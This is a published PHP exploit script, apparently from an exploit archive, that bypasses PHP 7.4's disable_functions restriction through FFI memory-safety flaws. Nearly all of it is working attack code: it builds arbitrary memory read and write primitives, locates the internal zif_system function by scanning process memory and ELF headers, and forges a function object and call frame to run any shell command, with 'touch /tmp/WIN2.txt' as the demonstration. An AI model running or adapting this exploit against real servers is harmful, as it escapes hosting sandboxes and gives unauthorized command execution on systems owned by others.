PHP 7.4 FFI – ‘disable_functions’ Bypass

<?php
/*
FFI Exploit - uses 3 potential BUGS.
PHP was contacted and said nothing in FFI is a security issue.

Able to call system($cmd) without using FFI::load() or FFI::cdefs()

* BUG #1 (maybe intended, but why have any size checks then?)
  no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)

* BUG #2 (maybe intended, but why have any checks then?)
  no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)

* BUG #3
  Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
  call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
  on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
  object


   the easiest way is to create cdata object, write target RIP (zif_system's address) to it
   and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it

Exploit steps:
    1. Use read/write to leak zif_system pointer
        a. walk cdata object to leak handlers pointer ( in .bss )
        b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
            right below a pointer to the .data.relro segment
        c. Increment and read the .data.relro pointer to get a relro section leak
        d. Using the relro section leak, scan up memory looking for the 'system' string that is
           inside the zif_system relro entry. 
        e. once found, increment and leak the zif_system pointer
    2. Hijack RIP with complete argument control
        a. create a function pointer CDATA object using FFI::new() [not callable as it is
            technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
        b. Overwrite the object'd data with zif_system pointer
        c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
            callable with our own arguments
    3. Create proper argument object to pass to zif_system (zend_execute_data .. )
        a. Build out the zend_execute_data object in a php string
        b. right after the object is the argument object itself (zval) which we must also
            build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
            and place it into a fake zval STRING object.
        c. finally we can call zif_system with a controlled argument

    NOTE: does NOT exit cleanly nor give command output -- both may be possible

Author: Hunter Gregal
Tested on:
    - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi
    - PHP 7.4.3 x64 Ubuntu 20 (apt install)
*/

ini_set("display_errors", "On");
error_reporting(E_ALL);

function pwn($cmd) {
    function allocate($amt, $fill) {
        // could do $persistent = TRUE to alloc on libc malloc heap instead
        // but we already have a good read/write primitive
        // and relying on libc leaks for gadgets is not very portable
        // (custome compiled libc -> see pornhub php 0-day)
        $buf = FFI::new("char [".$amt."]");
        $bufPtr = FFI::addr($buf);
        FFI::memset($bufPtr, $fill, $amt);
        // not sure if i need to keep the CData reference alive
        // or not - but just in case return it too for now
        return array($bufPtr, $buf);
    }
    
    // uses leak to leak data from FFI ptr
    function leak($ptr, $n, $hex) {
        if ( $hex == 0 ) {
            return FFI::string($ptr, $n);
        } else {
            return bin2hex(FFI::string($ptr, $n));
        }
    }
    
    function ptrVal($ptr) {
        $tmp = FFI::cast("uint64_t", $ptr);
        return $tmp->cdata;
    }
    
    /* Read primative
    writes target address overtop of CDATA object pointer, 
    then leaks directly from the CDATA object
    */
    function Read($addr, $n = 8, $hex = 0) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Leak the overwritten ptr
        return leak($vulnBufPtr, $n, $hex);
    }
    
    /* Write primative
    writes target address overtop of CDATA object pointer, 
    then writes directly to the CDATA object
    */
    function Write($addr, $what, $n) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Write to the overwritten ptr
        FFI::memcpy($vulnBufPtr, $what, $n);
    }
    
    function isPtr($knownPtr, $testPtr) {
        if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {
            return 1;
        } else {
            return 0;
        }
    }
    
    /* Walks looking for valid pointers
    * - each valid ptr is read and if it 
    -  points to the target return the address of the
    -  ptr and the location it was found
    */
    //function getRodataAddr($bssLeak) {
    function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {
        $start = $segmentLeak;
        for($i = 0; $i < $maxQWORDS; $i++) {
            if ( $up == 0 ) { // walk 'down' addresses
                $addr = $start - (8 * $i);
            } else { // walk 'up' addresses
                $addr = $start + (8 * $i);
            }
            //$leak = Read($addr, 8);
            $leak = unpack("Q", Read($addr))[1];
            
            // skip if its not a valid pointer...
            if ( isPtr($segmentLeak, $leak) == 0 ) {
                continue;
            }
            $leak2 = Read($leak, $n = $size);
            //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
            if( strcmp($leak2, $target) == 0 ) { # match
                return array ($leak, $addr);
            }
        }
        return array(0, 0);
    }

    function getBinaryBase($textLeak) {
        $start = $textLeak & 0xfffffffffffff000;
        for($i = 0; $i < 0x10000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = Read($addr, 7);
            //if($leak == 0x10102464c457f) { # ELF header
            if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header
                return $addr;
            }
        }
        return 0;
    }
 
    function parseElf($base) {
        $e_type = unpack("S", Read($base + 0x10, 2))[1];

        $e_phoff = unpack("Q", Read($base + 0x20))[1];
        $e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
        $e_phnum = unpack("S", Read($base + 0x38, 2))[1];

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = unpack("L", Read($header, 4))[1];
            $p_flags = unpack("L", Read($header + 4, 4))[1];
            $p_vaddr = unpack("Q", Read($header + 0x10))[1];
            $p_memsz = unpack("Q", Read($header + 0x28))[1];

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function getBasicFuncs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = unpack("Q", Read($leak))[1];
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = unpack("Q", Read($leak))[1];
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }

    function getSystem($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = unpack("Q", Read($addr))[1];
            $f_name = Read($f_entry, 6) . "\0";

            if( strcmp($f_name, "system\0") == 0) { # system
                return unpack("Q", Read($addr + 8))[1];
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    // Convenient for debugging
    function crash() {
        Write(0x0, "AAAA", 4);
    }
    
    
    printf("\n[+] Starting exploit...\n");
    // --------------------------- start of leak zif_system address
    /* NOTE: typically we would leak a .text address and
      walk backwards to find the ELF header. From there we can parse
      the elf information to resolve zif_system - in our case the
      base PHP binary image with the ELF head is on its own mapping
      that does not border the .text segment. So we need a creative 
      way to get zif_system
    */
    /* ---- First, we use our read to walk back to the our Zend_object,
    //   and get its zend_object_handlers* which will point to the
    //   php binary symbols zend_ffi_cdata_handlers in the .bss.
    //
    //_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS
    //
    //   From there we search for a ptr to a known value (happens to be to the .rodata section)
    //   that just so happens to sit right below a ptr to the 'zend_version' relro entry.
    //   So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.
    //
    //   Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.
    
    (zend_types.h)
    struct _zend_object { <-----typdef zend_object
        zend_refcounted_h gc;
        uint32_t          handle; // may be removed ???
        end_class_entry *ce;
        const zend_object_handlers *handlers; <--- func ptrs
        HashTable        *properties;
        zval              properties_table[1];
    };
    (ffi.c)
    typedef struct _zend_ffi_cdata {
        zend_object            std;
        zend_ffi_type         *type;
        void                  *ptr; <--- OVERWRITE
        void                  *ptr_holder; <--
        zend_ffi_flags         flags;
    } zend_ffi_cdata;
    
    */ 
    
    list($dummyPtr, $dummy) = allocate(64, 0x41);
    // dummy buf ptr
    $dummyPtrVal = ptrVal($dummyPtr);
    
    // dummy buf ptr ptr
    $dummyPtrPtr = FFI::addr($dummyPtr);
    $dummyPtrPtrVal = ptrVal($dummyPtrPtr);
    
    printf("Dummy BufPtr =  0x%x\n", $dummyPtrVal);
    printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
    $r = leak($dummyPtr, 64, 1);
    printf("Dummy buf:\n%s\n", $r);
    printf("-------\n\n");
    
    /*
    // ------ Test our read and write 
    $r = Read($dummyPtrVal, 256, 1);
    printf("Read Test (DummyBuf):\n%s\n", $r);
    
    Write($dummyPtrVal, "CCCCCCCC", 8);
    $r = Read($dummyPtrVal, 256, 1);
    printf("Write Test (DummyBuf):\n%s\n", $r);
    // ----------
    */
    
    $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
    printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
    
    $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
    printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
    
    // Find our 'known' value in the .rodata section -- in this case 'CORE'
    // (backup can be 'STDIO)'
    list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
    if ( $rodataLeak == 0 ) {
        // If we failed let's just try to find PHP's base and hope for the best
        printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
        // use .txt leak
        $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
        printf(".textLeak = 0x%x\n", $textLeak);
        $base = getBinaryBase($textLeak);
        if ( $base == 0 ) {
            die("Failed to get binary base\n");
        }
        printf("BinaryBase = 0x%x\n", $base);
        // parse elf
        if (!($elf = parseElf($base))) {
            die("failed to parseElf\n");
        }
        if (!($basicFuncs = getBasicFuncs($base, $elf))) {
            die("failed to get basic funcs\n");
        }
        if (!($zif_system = getSystem($basicFuncs))) {
            die("Failed to get system\n");
        }
        // XXX HERE XXX
        //die("Get rodata addr failed\n");
    } else {
        printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
    
        // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
        // zend_version is in .data.rel.ro
        $dataRelroPtr = $rodataLeakPtr + 8;
        printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
        
        // Read the .data.relro potr
        $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
        if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {
            die("bad zend_version entry pointer\n");
        }
        printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
        
        // Confirm this is a ptrptr to zend_version
        $r = unpack("Q", Read($dataRelroLeak))[1];
        if ( isPtr($dataRelroLeak, $r) == 0 ) {
            die("bad zend_version entry pointer\n");
        }
        
        printf("'zend_version' string ptr = 0x%x\n", $r);
        
        $r = Read($r, $n = 12);
        if ( strcmp($r, "zend_version") ) {
            die("Failed to find zend_version\n");
        }
        printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
        
        
        /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
          - this is a LARGE section...
        */
        list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
        if ( $systemEntryPtr == 0 ) {
            die("Failed to find zif_system relro entry\n");
        }
        printf("system relro entry = 0x%x\n", $systemEntryPtr);
        $zif_systemPtr = $systemEntryPtr + 8;
        $r = unpack("Q", Read($zif_systemPtr))[1];
        if ( isPtr($zif_systemPtr, $r) == 0 ) {
            die("bad zif_system pointer\n");
        }
        $zif_system = $r;
    }
    printf("[+] zif_system @ 0x%x\n", $zif_system);
    
    // --------------------------- end of leak zif_system address
    // --------------------------- start call zif_system
    
    
    /* To call system in a controlled manner
       the easiest way is to create cdata object, write target RIP (zif_system's address) to it
       and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
    */
    $helper = FFI::new("char* (*)(const char *)");
    //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
    $helperPtr = FFI::addr($helper);
    
    //list($helperPtr, $helper) = allocate(8, 0x43);
    //$x[0] = $zif_system;
    $helperPtrVal = ptrVal($helperPtr);
    $helperPtrPtr = FFI::addr($helperPtr);
    $helperPtrPtrVal = ptrVal($helperPtrPtr);
    printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
    
    // Walk the type pointers
    //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
    //printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
    $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
    //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
    $r = unpack("Q", Read($helperTypePtrPtr))[1];
    if ( isPtr($helperTypePtrPtr, $r) == 0 ) {
        die("bad helper type  pointer\n");
    }
    $helperTypePtr = $r;
    
    // Confirm it's currently ZEND_FFI_TYPE_VOID (0)
    $r = Read($helperTypePtr, $n=1, $hex=1);
    if ( strcmp($r, "00") ) {
        die("Unexpected helper type!\n");
    }
    
    printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
    Write($helperTypePtr, "\x10", 1);
    
    printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Finally write zif_system to the value
    Write($helperPtrVal, pack("Q", $zif_system), 8);
    
    // --------------------------- end of leak zif_system address
    // ----------------------- start of build zif_system argument
    /*
        zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)
        For now I don't bother with the return_val, although tehnically we could control
        it and potentially exit cleanly
    */
    
    // ----------- start of setup zend_execute_data object
    
    /* Build valid zend_execute object
    struct _zend_execute_data {
        const zend_op       *opline;           /* executed opline                
        zend_execute_data   *call;             /* current call                   
        zval                *return_value;
        zend_function       *func;             /* executed function              
        zval                 This;             /* this + call_info + num_args 
        zend_execute_data   *prev_execute_data;
        zend_array          *symbol_table;
        void               **run_time_cache;   /* cache op_array->run_time_cache 
    }; //0x48 bytes
    */
    
    //This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data] 
    $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
    $execute_data .= pack("L", 0); // this.u1.type
    $execute_data .= pack("L", 1); // this.u2.num_args
    $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
    $execute_data .= str_shuffle(str_repeat("D", 8)); //padding
    
    // ----------- end of setup zend_execute_data object
    // ----------- start of setup argument object
    /* the ARG (zval) object lays after the execute_data object
    
    zval {
        value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string])
        u1.type = 6 (IS_STRING)
        u2.???? = [unused]
    }
    */
    
    /*
    //  Let's get our target command setup in a controlled buffer
    //   TODO - use the dummy buf?
    // the string itself is odd. it has 16 bytes prepended to it that idk what it is
    // the whole argument after the zend_execute_data object looks like
    */
    
    $cmd_ = str_repeat("X", 16); // unk padding
    $cmd_ .= pack("Q", strlen($cmd)); // string len
    $cmd_ .= $cmd . "\0"; // ensure null terminated!
    list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
    $cmdBufPtrVal = ptrVal($cmdBufPtr);
    FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
    printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
    
    // Now setup the zval object itself
    $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
    $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
    $zval .= pack("L", 0); // zval.u2 - unused
    
    $execute_data .= $zval;
    
    // ---------- end of setup argument object
    // ----------------------- start of build zif_system argument
    $res = $helper($execute_data);
    //$return_val = 0x0; // // XXX if we want return_val control
    //$res = $helper($execute_data, $return_val); // XXX if we want return_val control
    // --------------------------- end of call zif_system
}
pwn("touch /tmp/WIN2.txt");
?>
            
Please follow and like us: